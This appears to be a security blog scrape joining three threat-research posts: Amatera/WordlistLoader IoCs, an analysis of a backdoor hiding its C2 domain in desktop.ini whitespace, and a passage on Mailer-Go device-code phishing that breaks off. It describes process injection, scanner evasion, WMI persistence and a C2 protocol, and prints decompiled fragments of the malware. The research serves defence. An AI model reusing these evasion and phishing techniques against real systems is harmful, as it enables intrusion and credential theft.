<p>Finally, Amatera's approach differs in the way the payload is launched. Rather than creating a remote thread, Amatera hijacks the browser's thread pool, using the technique known as PoolParty variant 7 (Remote <code>TP_DIRECT</code> Insertion), <a href="https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/">published by SafeBreach in 2023</a>. It enumerates the browser's handles with <code>NtQueryInformationProcess</code>, duplicates them with <code>NtDuplicateObject</code>, identifies the I/O completion port among them with <code>NtQueryObject</code>, and queues a <code>TP_DIRECT</code> work item on it with <code>NtSetIoCompletion</code>, leaving the execution to one of the browser's own worker threads. The work item itself is a 72-byte <code>TP_DIRECT</code> structure assembled by hand, with the callback placed at a hardcoded offset, and written into a small remote allocation. Once the work item is queued, the stealer polls the output section for a marker signaling that the payload has finished.</p>

<h2>Summary</h2>
<p>In this analysis, we dissected WordlistLoader, a new loader used to deliver Amatera through ClearFake campaigns. We covered the way it reconstructs shellcode from a wordlist of plain English words, the defense-evasion mechanisms it employs, and the shellcode itself that ultimately leads to the execution of Amatera.</p>
<p>We also covered the latest updates in Amatera, which has seen months of active development, with the effort showing most clearly in its defense evasion. Between versions 4.0.2 Beta and 4.3.3-alpha1, the stealer employed heavier static obfuscation, hardened the way it reaches the kernel through the WoW64 transition, introduced dynamically generated x64 indirect-syscall trampolines invoked through Heaven's Gate, and revamped its Application-Bound Encryption bypass into one closely resembling that of Remus/Lumma.</p>

<h2>Indicators of Compromise (IoCs)</h2>
<h3>Compromised Websites Observed Serving ClearFake's FakeCaptchas</h3>
<p>abogadosrosarinos[.]com<br>
aptisweb[.]com<br>
avene-hebergement[.]com<br>
https-xhamster[.]com<br>
www[.]caesarjaco[.]co[.]id/jasa-pengiriman-hewan<br>
skybap[.]shop</p>
<h3>WordlistLoader</h3>
<p>eb883ff84700245a199dfbe120c3c2012b2dbf1ec97b26721fbda3ee7445c85a<br>
cd598cea811d8f73ca7afffa40e5963be9a82e01bad8ffcebb104b475c091faa<br>
84ffddad7e2eb1f476b857321b0cd54a7a283dbdb82bd3a13ea1b49862595d20<br>
124f2104ca9ee75a99aa998bb016c202f43b890d0173213846fa2495db7fa0d7<br>
9f3c2d1f150516edcdc274c3791f4e8301807b479ddf796fc019bc910054e3a1</p>
<p>9a2d02fa59501e1438f852250c4fdb24086d8a0184ece32240091f91515bbf7d (UUID variant)<br>
e37cc7f678aa800b805aefcc57ad86251cb7b89a044c43c72be9a77f36a88e57 (UUID variant)<br>
596f7b1edd97a4e114413b6668151cae3c8a5c7729208d5c2150e65f9ceca6d7 (UUID variant)<br>
5f5b7c131c852275123ad55028c5f87692f4b206591011a13da5b085dc4df8fd (UUID variant)<br>
25fdc2c589a7df6dc45798b1a4a97a6a1d62d12326151e4a9a9d50fea8111b29 (UUID variant)</p>

<h3>Amatera</h3>
<p>9a969110c055c3f48af75ce8d2b75c2e7b898a4519a700c7a0cd1fcbc993ecad (Amatera 4.3.3-alpha1)<br>
7b8c30af2ca566927fb91e08c33ebb92089e86afb70d74715e5c7d8de6f9ecfc (Amatera 4.3.3-alpha1)<br>
d9402b049738d4679cb46f09d2511b9ac8f6842ffed29560a7e96046a811e841 (Amatera 4.3.1-alpha1)<br>
54ba68040413b23128455952e4a698df112a163d0498ded6f77e863d15113133 (Amatera 4.2.4-alpha2)<br>
8672bc4c60a731f80a57deb564f9b78b1a91607a1b5c20c12767a8ab72b09b6a (Amatera 4.2.3-alpha1)<br>
42095fff1452418550440d5adff87a10e6d04a704fedf2b221f83b6a974a0d73 (Amatera 4.2.2-alpha1)<br>
38ad801509af109dcd12a56ac931b795e39a7fcd5cd43698cccb7e051298a683 (Amatera 4.2.1-alpha1)<br>
88f769cf7c88e3bbbd1b72d8124b9a4b39ba8fe3e80ff76d682493033c34a598 (Amatera 4.2.0-alpha3)<br>
c4390e74aecd06d3bb355af7f403de0655d28cdc54fa68b1596d91c2b3bb0e46 (Amatera 4.2.0-alpha2)<br>
ee394ed8118d22da6054ebec9434c4c7256af27e0cb479e17100e56f7b150b25 (Amatera 4.2.0-alpha1)<br>
90b7c9e9910c3512f4793b577a0b9025e8995cd67ee36e46f36b7b7b80b4d65f (Amatera 4.1.5-alpha)<br>
fee8d5964fcc23027685ee1124a19127ce58d4692c9df831bd1b900cdb86faeb (Amatera 4.1.4-alpha)<br>
147276f871a5a33a611a6ee112137f3aae136ea79fcbf07361cb7d0d26c87e4d (Amatera 4.1.1 Beta)<br>
2833fb725862866205b37619db050fbd84e6258682fa1d9485da0ae9257b9244 (Amatera 4.1.0-alpha.1)</p>
<p>Amatera C2s</p>
<p>health[.]luminexus[.]cc<br>
stream[.]luminfrastructure[.]cc<br>
stream[.]threatenbrick[.]cc<br>
yw[.]enhanceblabber[.]cc<br>
pmpo[.]cloudvector[.]cc<br>
dust[.]packetflow[.]cc<br>
updates[.]wildtrail[.]cc<br>
app-api[.]lensstory[.]cc<br>
proxy[.]fluxautomation[.]cc<br>
stream[.]pawpalace[.]cc<br>
dist[.]runtimeconsole[.]cc<br>
id[.]binaryharbor[.]cc<br>
wss[.]infrastructurecore[.]cc<br>
id[.]exhumepacifier[.]cc</p>
<p>Amatera Dead Drops</p>
<p>telegra[.]ph/Executing-modules-as-scripts-06-16<br>
telegra[.]ph/Using-Python-as-a-Calculator-06-05<br>
telegra[.]ph/Jack-Little-04-18<br>
telegra[.]ph/Parameters-04-03<br>
telegra[.]ph/Jewel-03-06<br>
telegra[.]ph/Catnap-Skimmed-03-06</p>

 New Loader Hiding Shellcode in Plain English Words

 WordlistLoader Delivering Amatera via ClearFake Campaigns 

Senior Malware Researcher

<p>We found a custom Windows backdoor on a single corporate workstation while hunting for unusual WMI persistence. The malware was small, had a limited command set and disguised itself as legitimate Realtek software. Its most unusual feature was its configuration: the address of its command-and-control server was not stored as readable text or encrypted data, but encoded in the number of spaces on each line of a Windows `desktop.ini` file. To a user, and to many automated inspection systems, the file would appear almost empty. To the malware, those spaces spelled out its server address. We found no evidence connecting the backdoor to a known threat actor, and the original infection happened before our protection was installed. However, the implant's custom design, its deployment on only one observed machine and the absence of related samples suggest that this may have been a deliberately targeted operation rather than a failed mass campaign.</p>

<h2>An event subscription named "Realtek"</h2>
<p>Most malicious WMI subscriptions are easy to spot because the query asks for something no administrator would. This one asked for something an administrator plausibly might, at a very specific time.</p>
<p>Our behavioural engine dumped the subscription it objected to. This is our own export of the WMI objects rather than a file the attacker left on disk, with the host name redacted:</p>

<p>A filter watching <code>Win32_LocalTime</code> for hour 19, minute 50 is a restart timer, not a boot hook. The subscription itself lives in the WMI repository and survives reboots; what it does not do is start anything at boot, so a machine restarted in the morning stays quiet until the evening.</p>
<p><code>RtkNGUI64.exe</code> is the real name of Realtek's audio control panel, and the consumer's command line writes the path in 8.3 short form, <code>Progra~1</code> rather than <code>Program Files</code>.</p>

<h2>Why one machine is the interesting part</h2>
<p>Everything in this post came from a single host: a domain-joined Windows 7 SP1 workstation, 64-bit. One managed endpoint, and our prevalence figure for the binary is exactly one.</p>
<p>That number is easy to misread, because low prevalence usually means a campaign that failed. Low prevalence should not mean low investigative priority: a threat sitting on one machine can matter more than one sitting on a hundred thousand, and a triage queue sorted by prevalence will show it to you last, if it shows it to you at all. The grounds for reading this one the other way need no victim detail at all.</p>
<p>The implant is custom-built: twelve kilobytes, no runtime library, and a config format that appears nowhere else in our corpus. None of the artefacts have ever been uploaded to VirusTotal in more than five years. We also searched VirusTotal by content for the fragments that would betray a sibling, including the <code>c%s%se /c %s</code> format string, the <code>a=%s&amp;r=none</code> beacon body, <code>/version/check.php</code> inside Windows executables, and a stock UTF-16 <code>desktop.ini</code> header followed by runs of spaces. All four returned nothing. Two looser patterns, the table its checksum routine uses to rebuild a polynomial and a bare run of UTF-16 spaces, matched unrelated files and tell us nothing either way.</p>
<p>The domain also typosquats a Windows service, which is a choice made by someone who knew what <code>DiagTrack</code> was rather than the output of a generation algorithm, whatever VirusTotal's <code>dga</code> tag suggests.</p>
<p>A commodity loader that only ever lands on one machine is broken. A hand-written implant that only ever lands on one machine may be working exactly as intended.</p>
<p>We will not push the assessment further than that. We never captured a task and never saw a second-stage payload, and we cannot tell you how the machine was reached, for a reason the timeline further down makes plain: the implant was already in place before our software arrived. Whatever the initial vector was, it happened on an endpoint nobody was watching. We name no actor and no campaign.</p>

<h2>What RtkNGUI64.exe actually is</h2>
<p>The binary is a 12,288-byte x64 executable with no C runtime, no packer, and an entry point that goes straight into the main loop. It imports 48 functions by name across <code>KERNEL32</code>, <code>WININET</code>, <code>WS2_32</code>, <code>IPHLPAPI</code>, <code>SHLWAPI</code> and <code>ADVAPI32</code>, and that is the whole dependency list. <code>msvcrt.dll</code> is not on it, and leaving it out took deliberate work. The appendix has the substitutions the author wrote around it, the compiler they used, and the day they built it.</p>
<p>There is no encrypted blob, no import hashing and no anti-debug. The engineering worth looking at is all in where the thing keeps its configuration.</p>

<h2>The config is a desktop.ini full of spaces</h2>
<p>On startup the backdoor assembles a path from the <code>PROGRAMDATA</code> environment variable and two string fragments, opens the result with <code>OPEN_ALWAYS</code>, and checks that there is something past the header to read:</p>
<pre><code>GetEnvironmentVariableA("PROGRAMDATA", ini_name, 0x40u); lstrcatA(ini_name, "\DESKTOP."); // first half of the filename

// ... bot ID, mutex, heap and pipe setup: sixteen lines ...

lstrcatA(ini_name, "ini"); // second half, appended much later

hFile = CreateFileA(ini_name, GENERIC_READ, 0, 0, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); // both the subtraction and the comparison are unsigned (jbe, not jle) if ( hFile == INVALID_HANDLE_VALUE || (payload_size = GetFileSize(hFile, 0) - 174) &lt;= 0x31 ) ExitProcess(0);

</code></pre>
<p>The filename arrives in two pieces, and not adjacent ones: sixteen lines of unrelated setup sit between the two <code>lstrcatA</code> calls. <code>\DESKTOP.</code> and <code>ini</code> are stored as separate literals in <code>.rdata</code>, so the string <code>desktop.ini</code> appears nowhere in the file. Grep the binary for it and you get nothing.</p>
<p>The size check is looser than it looks. The subtraction and the comparison are both unsigned — <code>jbe</code> in the disassembly — so it rejects only files of 174 to 223 bytes. <code>OPEN_ALWAYS</code> means a host with no config gets an empty <code>desktop.ini</code> created for it, <code>0 - 174</code> wraps to <code>0xFFFFFF52</code>, the guard passes, and the code asks the process heap for four gigabytes of zeroed memory. Nothing checks the result: on any machine that cannot satisfy that, the counting loop dereferences a null pointer. So on a host the operator never staged, the implant creates a zero-byte <code>C:\ProgramData\desktop.ini</code> and crashes on the spot.</p>
<p>Then it seeks to byte 174 and counts:</p>
<pre><code>SetFilePointer(hFile, 174, 0, FILE_BEGIN); // skip the stock Windows header ReadFile(hFile, payload, payload_size, &amp;bytes_read, 0);

line = 0; i = 0; do { if ( payload[i] == 13 ) // CR: next line, skip the LF { ++line; i += 2; } else { ++line_lengths[line]; // count one character on this line } i += 2; // stride 2: the file is UTF-16LE } while ( i &lt; payload_size );

lstrcpyA(g_server, line_lengths); // the counts are the string lstrcatA(g_server, ".com");

</code></pre>
<p>There is no key and no decryption. <code>line_lengths</code> is an array of bytes holding one count per line, and the last two statements hand that array to <code>lstrcpyA</code> as though it were a string. The number of characters on a line is the ASCII code of one character of the domain. This is unary encoding, the tally-marks of data formats.</p>
<p>The stride of 2 is there because the file is UTF-16LE, and the offset of 174 is not arbitrary: it is the exact byte length of a stock Windows <code>desktop.ini</code>, from the byte-order mark through a blank line, the <code>[.ShellClassInfo]</code> section header, <code>LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-21781</code> and its closing CRLF. The attacker invented no file format. They took the real Windows file that gives the Program Files folder its localised display name and appended to it.</p>
<p>In an editor it looks like an ordinary system file with some trailing whitespace. Typed out as UTF-16LE strings, it is thirteen lines: the three-line stock header, then ten lines containing nothing else.</p>

<p>The addresses in that left column are the domain. Each line starts two bytes per space plus four for the CRLF after its predecessor, so <code>0x17A - 0xAE</code> is 204, giving 100 spaces and the letter <code>d</code>. Counting the spaces on each line of the sample we recovered gives ten numbers:</p>
<table>
<thead>
<tr>
<th class="markdown-align-right">Line</th>
<th class="markdown-align-right">Spaces</th>
<th class="markdown-align-left">Character</th>
</tr>
</thead>
<tbody>
<tr>
<td class="markdown-align-right">1</td>
<td class="markdown-align-right">100</td>
<td class="markdown-align-left">d</td>
</tr>
<tr>
<td class="markdown-align-right">2</td>
<td class="markdown-align-right">105</td>
<td class="markdown-align-left">i</td>
</tr>
<tr>
<td class="markdown-align-right">3</td>
<td class="markdown-align-right">97</td>
<td class="markdown-align-left">a</td>
</tr>
<tr>
<td class="markdown-align-right">4</td>
<td class="markdown-align-right">103</td>
<td class="markdown-align-left">g</td>
</tr>
<tr>
<td class="markdown-align-right">5</td>
<td class="markdown-align-right">114</td>
<td class="markdown-align-left">r</td>
</tr>
<tr>
<td class="markdown-align-right">6</td>
<td class="markdown-align-right">116</td>
<td class="markdown-align-left">t</td>
</tr>
<tr>
<td class="markdown-align-right">7</td>
<td class="markdown-align-right">114</td>
<td class="markdown-align-left">r</td>
</tr>
<tr>
<td class="markdown-align-right">8</td>
<td class="markdown-align-right">97</td>
<td class="markdown-align-left">a</td>
</tr>
<tr>
<td class="markdown-align-right">9</td>
<td class="markdown-align-right">99</td>
<td class="markdown-align-left">c</td>
</tr>
<tr>
<td class="markdown-align-right">10</td>
<td class="markdown-align-right">107</td>
<td class="markdown-align-left">k</td>
</tr>
</tbody>
</table>
<p>With the hardcoded suffix, the backdoor calls home to <code>diagrtrack.com</code>.</p>
<p>That name is a typosquat of <code>DiagTrack</code>, the Windows service better known by its display name, Connected User Experiences and Telemetry. The malware hid the address of its telemetry server inside a Windows shell configuration file, and named that server after the Windows telemetry service.</p>
<pre><code>Twenty lines of Python recover the domain from any config of this shape:

HEADER_LEN = 174 # length of the stock Windows Program Files desktop.ini

def decode(path): with open(path, "rb") as fh: payload = fh.read()[HEADER_LEN:]

counts, current, i = [], 0, 0
while i &lt; len(payload):
    if payload[i] == 0x0D:      # CR ends a line; skip the following LF
        counts.append(current)
        current = 0
        i += 4
        continue
    current += 1
    i += 2                      # stride 2: UTF-16LE

if current:
    counts.append(current)

return "".join(chr(c) for c in counts) + ".com"
</code></pre>
<p>The scheme is wasteful in a revealing way. Because each character costs as many UTF-16 spaces as its ASCII value, the config's size is a direct function of the domain it hides: <code>174 + 2 * sum(character codes) + 4 * lines</code>, which for <code>diagrtrack</code> gives 2,318 bytes exactly. The file size is a fingerprint of the domain, and the domain can be narrowed down from the file size alone.</p>

<h2>The C2 protocol</h2>
<p>Each victim gets an eight-character identifier: the CRC-32 of <code>USERNAME</code>, <code>USERDOMAIN</code> and <code>COMPUTERNAME</code> concatenated, formatted as <code>%08X</code>. The same value becomes the name of a mutex, and a second copy waits a second for it before giving up. That matters more than it sounds, because the first copy never gives up: the binary has exactly one <code>ExitProcess</code> call, in the configuration routine, reached only when the mutex is already held or the config is unusable. Past that point the process loops forever. The 19:50 trigger therefore fires to useful effect once per boot, and every later firing dies on the mutex.</p>
<p>The CRC is standard, but neither the polynomial nor the usual 256-entry lookup table is anywhere in the file. What is there is a 14-byte table of bit positions that the code walks at runtime, setting one bit per entry to rebuild <code>0xEDB88320</code>. That reads like an attempt to leave no constant for a scanner to key on, and it is not: it is zlib's <code>DYNAMIC_CRC_TABLE</code> build option, copied in whole. The appendix works out which decade the copy came from.</p>
<p>Every cycle then opens with an ICMP knock rather than an HTTP request. The backdoor resolves the domain, puts its eight-byte identifier in the payload of a 32-byte echo request, and waits a second for a reply. Only if the ping succeeds does it speak HTTP:</p>
<pre><code>POST /version/check.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 Content-Type: application/x-www-form-urlencoded

a=&lt;id&gt;&amp;r=none
</code></pre>
<p>A beacon with nothing to report sends <code>r=none</code>: the first one, and every cycle where the last response carried no command or only a <code>time</code> change. Otherwise <code>r</code> carries the previous command's output, base64-encoded and then URL-encoded. The user agent is a hardcoded Chrome 78 string, frozen at whatever was current when the author wrote it.</p>
<p>Tasking comes back in the response body, which the malware scans for the literal <code>CMD=</code>. There are three verbs:</p>
<ul>
<li><code>system</code> runs a command through <code>cmd.exe</code>, captures stdout and stderr through a pipe, and gives up after 30 seconds with the text <code>cmd timeout</code></li>
<li><code>put</code> writes a file, taking a path and base64 content</li>
<li><code>time</code> changes the polling interval, which starts at five seconds</li>
</ul>
<p>That is the whole command set. No file listing, no screenshots, no keylogging. Whatever the operator wanted, they were going to get it by shelling out and writing files.</p>

<h2>Two smaller touches</h2>
<p>The <code>put</code> handler does something odd before it writes. It base64-decodes the content, decrements the first byte and increments the second, writes the result to <code>tempcache.tmp</code>, renames that to the target path, and only then reopens the file to patch the correct two bytes back. A dropped executable therefore sits on disk with <code>L[</code> where its <code>MZ</code> signature belongs, right up until a final two-byte write. Anything scanning on file creation or rename sees something that is not a PE at all.</p>
<p>The same habit accounts for <code>cmd.exe</code>, which is absent from the binary in one piece and assembled at the call site:</p>
<pre><code>wnsprintfA(buffer, 0xFFFF, "c%s%se /c %s", "md.", "ex", command);
</code></pre>
<p>Neither trick would trouble a modern behavioural engine, but together they show what the author was worried about: on-access file scanners and string searches, enough to write awkward code to dodge them.</p>

<h2>One machine, one dead domain</h2>
<p>The dates are where this stops being a story about clever encoding.</p>
<p>The domain was registered on 23 July 2020 through a privacy proxy. The binary was compiled on 2 December 2020 at 13:34 UTC, and the config file on the victim's disk was created a little over three hours later. Build and deploy inside one afternoon.</p>
<p>Our software was installed twenty-one days later. Every date that follows is from the middle of the incident rather than the start, and the first evening the backdoor started on that machine is not something we have any record of.</p>
<p>The last DNS record we hold for <code>diagrtrack.com</code> is from March 2021. The registration lapsed that July and nobody renewed it. Nobody re-registered it either: the domain has no whois record today and does not resolve. Even the squatters passed.</p>
<p>The backdoor did not notice. We collected the same WMI subscription from that host three times, in February, August and October 2021, which is how we know the persistence stayed in place rather than being cleaned and reinstalled. When a detection we wrote for this file shape went live in June 2022, it fired on the same machine, and the config was still sitting in <code>C:\ProgramData</code>.</p>
<p>From the code we know what that machine did for the eleven months after the registration lapsed. At 19:50 the WMI consumer started the process, it counted the spaces, rebuilt <code>diagrtrack.com</code>, and called <code>getaddrinfo</code>, which failed. The failure changed less than you would think, because the address buffer is never initialised and nothing checks the return value: every five seconds the implant read whatever bytes happened to be on its stack, called <code>inet_addr</code> on them, and sent an ICMP echo to the result. Then it slept and did it again, until the machine was next rebooted. There was no one on the other end for any of it.</p>

<h2>Detection opportunities</h2>
<p>Configuration formats do not have to look like configuration formats. A routine that counts spaces is still a parser, and a file containing no suspicious strings, high-entropy blob or encoded text can still carry a C2 address in plain sight. Any pipeline that finds data mainly by looking for things that resemble data risks treating whitespace as empty.</p>
<p>Structural detections are more durable. A hash covers one binary and a domain block covers one address, but a rule describing the shape of this configuration survives changes to both.</p>
<p>Past byte 174, a legitimate <code>desktop.ini</code> should not consist entirely of UTF-16 spaces, carriage returns and line feeds. We deployed a detection for that structure in June 2022 and ran it until November. Across our user base, it fired only on the machine we already knew about. It would nevertheless detect another configuration using the same technique with a completely different domain.</p>
<p>The same characteristics also provide several inexpensive hunting opportunities:</p>
<ul>
<li>
<p>Look for <code>__EventFilter</code> and <code>CommandLineEventConsumer</code> pairs bound to <code>Win32_LocalTime</code>, particularly those launching executables from paths intended to resemble legitimate software.</p>
</li>
<li>
<p>Inspect <code>C:\ProgramData\desktop.ini</code>, especially when it contains the Program Files localization string <code>shell32.dll,-21781</code>.</p>
</li>
<li>
<p>Treat a zero-byte <code>C:\ProgramData\desktop.ini</code> as potentially significant. That is the crash artefact this implant creates when the operator has not staged a valid configuration.</p>
</li>
<li>
<p>Look for <code>desktop.ini</code> files containing a legitimate Windows header followed only by UTF-16 whitespace.</p>
</li>
</ul>

<h2>Conclusion</h2>
<p>Everything in this investigation came from one endpoint. That does not tell us how consequential the intrusion was, because we never captured a command, recovered a second-stage payload or established how the machine was first compromised. It does tell us that prevalence alone would have been a poor reason to ignore it.</p>
<p>The implant was custom-built, its configuration format was absent from the rest of our corpus, and searches for related binaries and protocol fragments found no convincing siblings. We assess with moderate confidence that it was deployed selectively, while stopping short of naming an actor or campaign.</p>
<p>By the time our detection found it, the C2 domain had been expired for eleven months. The backdoor was still starting at 19:50 after every reboot, rebuilding the address from lines of spaces, and trying to contact an operator who was no longer there.</p>
<p>The detection was not wrong. It was late.</p>

<h2>Appendix: build and CRC provenance</h2>
<p>Two details that change nothing about the story but pin down what the author built this with.</p>
<h3>The missing runtime</h3>
<p><code>msvcrt.dll</code> is absent from the import table, and that absence took work. <code>SHLWAPI</code> is there to supply <code>wnsprintfA</code>, <code>StrStrA</code> and <code>StrToIntA</code> in place of <code>sprintf</code>, <code>strstr</code> and <code>atoi</code>, the <code>str*</code> family is <code>lstrcpyA</code> and friends from <code>KERNEL32</code>, and <code>memset</code> and <code>memcpy</code> are the author's own two routines, because the compiler emits calls to those whether you link a runtime or not. The binary also carries its own compiler receipt in <code>.rdata</code>:</p>
<pre><code>GCC: (tdm64-1) 4.9.2
</code></pre>
<p>That is TDM-GCC, a MinGW-w64 distribution, and the linker version of 2.24 and the missing Rich header agree with the string. The PE timestamp reads 2 December 2020, 13:34 UTC. A default build from that toolchain would enter at <code>mainCRTStartup</code> and import <code>msvcrt.dll</code>, so the runtime had to be left out on purpose and the entry point aimed at the author's own function.</p>
<h3>The polynomial that is not there</h3>
<p>The 14-byte table in <code>.rdata</code> is a list of bit positions:</p>
<pre><code>0, 1, 2, 4, 5, 7, 8, 10, 11, 12, 16, 22, 23, 26
</code></pre>
<p>At runtime the code walks that table and sets one bit per entry, counting down from bit 31:</p>
<pre><code>for ( i = 0; i != 14; ++i )
    poly |= 1 &lt;&lt; (31 - tap_table[i]);
</code></pre>
<p>The result is <code>0xEDB88320</code>, the reflected CRC-32 polynomial, which has exactly 14 bits set. Before crediting the author for that: this is zlib. The routine is <code>crc32()</code> line for line, from the null-pointer guard through the pre- and post-inversion to the eight-bytes-at-a-time unrolled loop, compiled with <code>DYNAMIC_CRC_TABLE</code> — the zlib build option that generates the lookup table on first use instead of shipping a kilobyte of constants — and GCC has inlined the static <code>make_crc_table</code> into it, which is why the table build sits inside the same function. zlib built the polynomial from that list of exponents from January 1996 until the 1.2.12 release, in March 2022, replaced it with a plain <code>#define POLY 0xedb88320</code>. The comment sitting directly above the list writes the same polynomial out longhand, as <code>x^32+x^26+x^23+x^22+x^16+x^12+x^11+x^10+x^8+x^7+x^5+x^4+x^2+x+1</code>, so the table is the polynomial as a mathematician would state it rather than a constant kept out of a scanner's way. It did not go away for tidiness either: the commit that removed it rewrote the whole routine around the interleaved CRC method of Kadatch and Jenkins, and the new <code>#define</code> was a byproduct of chasing a factor of three in speed.</p>
<p>The confirmation is in <code>.data</code>, which in this binary holds exactly one initialised variable: a <code>dd 1</code> that the CRC routine clears once the table exists. That is zlib's <code>crc_table_empty</code>. What is not there is the thread-safety flag zlib added in September 2004, so their copy of <code>crc32.c</code> came from some zlib released between 1996 and 2004, at least sixteen years stale by the time they compiled it. The missing constant is a build option, not tradecraft.</p>

<h2>Indicators of Compromise</h2>
<table>
<thead>
<tr>
<th>Indicator</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>diagrtrack{.}com</td>
<td>C2 domain (expired, no longer resolves)</td>
</tr>
<tr>
<td>d411d93f358128c77aed0be91365b18cfb7575ecd188d22a216cbaeaa51c5e11</td>
<td>Backdoor, RtkNGUI64.exe</td>
</tr>
<tr>
<td>1cc5a4be7f2e41086b53e698b487e43426e5e572bc99e5de62eada9baf83bdcd</td>
<td>Whitespace-encoded config</td>
</tr>
<tr>
<td>C:\Program Files\Realtek\Audio\RtkNGUI64.exe</td>
<td>Fake install path</td>
</tr>
<tr>
<td>C:\ProgramData\desktop.ini</td>
<td>Config location</td>
</tr>
<tr>
<td>/version/check.php</td>
<td>C2 URI path</td>
</tr>
<tr>
<td>Realtek</td>
<td>WMI filter, consumer and binding name</td>
</tr>
</tbody>
</table>

A hand-written Windows backdoor stored its command-and-control domain as the number of trailing spaces in a fake desktop.ini, and we found it on exactly one machine.

A 12 KB Backdoor Hid Its C2 Domain in desktop.ini Whitespace

Princ Security Analyst CTI

<p>The first URL was already dead.&nbsp;</p><p>It did not load a credential form or show a fake Microsoft login page. Instead, it returned an expired tracking response, which is exactly what the operator wanted scanners and analysts to see after the first click.&nbsp;</p><p>That could easily have been the end of the investigation: one reported phishing email, a burned link and no visible payload. But the expired URL still exposed enough of the underlying infrastructure to start pulling the thread. What followed led us to Mailer-Go Mission Control, a bulk phishing platform we had not seen publicly documented at the time of analysis.&nbsp;</p><p>Mailer-Go handled the delivery side of the campaign, including email templates, recipient management, SMTP infrastructure, proxy support and per-recipient tracking links. The final phishing stage came later, through a Cloudflare Workers page running EvilTokens, a known Microsoft OAuth Device Code phishing kit.&nbsp;</p><p>EvilTokens itself was not the new part. What caught our attention was the machinery around it: how victims were routed there, how the operator switched infrastructure when a domain was burned, and how much of the delivery chain was designed to disappear once a useful click had already happened.&nbsp;</p><h2>The link was expired, but the pattern was not&nbsp;</h2><p>The reported email contained a tracking URL under:&nbsp;</p><p>coldchain-distribution[.]com&nbsp;</p><p>The URL followed a structure we later associated with Mailer-Go:&nbsp;</p><p>hxxps://&lt;8-hex&gt;.link.&lt;domain&gt;/t/v3.&lt;campaign-id&gt;.&lt;recipient-token&gt;&nbsp;</p><p>Each recipient received a unique token. Once that token was used, later requests no longer reached the live phishing chain and instead returned an expired response. A victim could therefore see the real destination, while a scanner or analyst arriving afterwards saw something very different.&nbsp;</p><p>That behavior became one of the more useful clues in the investigation. The link was not simply a route to a phishing page. It also acted as a gate that closed after use, limiting what could be recovered later from the same URL.&nbsp;</p><p>The first domain, coldchain-distribution[.]com, was registered on 2026-06-01. Once detections started catching up, the operator moved activity to healthprofessionals21[.]org, which had been registered the same day. Its tracking subdomains resolved to the same Linode IP used by the earlier campaign, and more than 40 *.link.healthprofessionals21[.]org subdomains were eventually observed.&nbsp;</p><h2>A fake blog on the front door&nbsp;</h2><p>At the root, the replacement domain looked harmless.&nbsp;</p><p>healthprofessionals21[.]org served a technology and gaming blog with articles about consoles, VPNs and multimedia devices. The content was thin and generic, but plausible enough to give scanners and casual visitors something ordinary to index. The phishing infrastructure itself sat underneath *.link.healthprofessionals21[.]org.&nbsp;</p>

<p>For a short time, the setup appears to have done its job. The replacement domain initially had little to no reputation-based detection while the phishing chain remained active.&nbsp;</p><p>By 2026-06-10, that had started to change. Fortinet marked the domain as phishing and ESET flagged it as suspicious, but the operator had already been using it as failover infrastructure after coldchain-distribution[.]com was burned.&nbsp;</p><h2>What Mailer-Go is&nbsp;</h2><p>Mailer-Go Mission Control presents itself like a commercial email campaign platform. Its admin panel includes modules for campaign management, audience lists, email creation, SMTP providers, proxy routing, tracking, licensing and update notifications.&nbsp;</p><p>None of those features, viewed individually, proves malicious intent. The combination is harder to explain as a normal bulk-mail product.&nbsp;</p><p>Mailer-Go supports proxy routing and multiple SMTP providers, and it generates single-use tracking tokens that stop exposing the live destination after the first click. It also includes built-in license management, yet at the time of our analysis we could find no public documentation, GitHub footprint or visible legitimate product presence. The same Mailer-Go login page was exposed across wildcard campaign subdomains.&nbsp;</p><p>We assess with moderate confidence that Mailer-Go is purpose-built crimeware rather than a legitimate phishing simulation tool being abused. That assessment is based on the platform as a whole: proxy support, flexible sending infrastructure, token burning, controlled access and the absence of a public legitimate footprint.&nbsp;</p><p>Useful fingerprints include:&nbsp;</p><p>Mailer-Go Mission Control&nbsp;<br>/assets/js/tracking.js?v=20260522d&nbsp;<br>/assets/js/proxies.js?v=20260513b&nbsp;<br>/assets/js/sending-infrastructure.js?v=20260513b&nbsp;<br>/assets/dist/emailbuilder2/manifest.json&nbsp;</p><p>The observed admin panel HTML had this SHA-256:&nbsp;</p><p>3a026fcb5001327198ac3886e6983183e44b8a5daa0086d34c10cb65130c6f89&nbsp;</p><h2>Live tokens showed the real destination&nbsp;</h2><p>The expired links were only part of the picture. URLScan captures of tokens that were still live showed a different path.&nbsp;</p><p>Valid Mailer-Go tracking links routed through:&nbsp;</p><p>mysocalledblog[.]com/sev/&nbsp;</p><p>That relay then redirected the victim to a Cloudflare Workers page. Following the EvilTokens convention, the Workers subdomain encoded the targeted recipient's email address, which we have redacted:&nbsp;</p><p>9sfo-bnqi-4yap.[recipient-redacted]-s-account.workers[.]dev&nbsp;<br>&nbsp;</p><p>The page presented itself as a OneDrive shared-document flow built around a file named Confidential_Memo.docx. Captures showed several stages of the page, including a “Preparing verification...” screen, a transient “fetch failed” error and, most importantly, the page displaying a Microsoft device code.&nbsp;</p>

<p>There was no fake Microsoft password form. The victim was sent to the real Microsoft device login page. If they entered the code and completed authentication, the attacker-controlled client could receive OAuth tokens in the background.</p><p>That has an important consequence for incident response. Resetting the user's password may not be enough if a refresh token has already been issued. We cover the response steps later in the defenders section.</p><p>Why Visa appeared in the redirect chain</p><p>Expired tokens followed another route.</p><p>Instead of reaching the EvilTokens page, they passed through:</p><p>arduinosolutions[.]com/sev/</p><p>and then landed on legitimate Visa sites such as visa[.]fr, visa[.]com, visa[.]de and others.</p><p>That initially creates a confusing picture because Visa appears repeatedly in the redirect data, yet the confirmed phishing lure impersonated Microsoft OneDrive.</p><p>The explanation was simpler. Visa acted as fallback cover for dead tokens. Once a tracking token had expired, the user was sent to a legitimate site rather than the phishing page. Someone clicking the link later could reasonably conclude that nothing malicious had happened, and an analyst reconstructing the chain after the fact could reach the same wrong conclusion.</p><h2>The emails were built to survive static scanning</h2><p>We identified five phishing EML samples tied to the campaign. Their MIME-header similarity supports the conclusion that they came from the same sending platform.</p><p>The messages used generic B2B document themes, including an 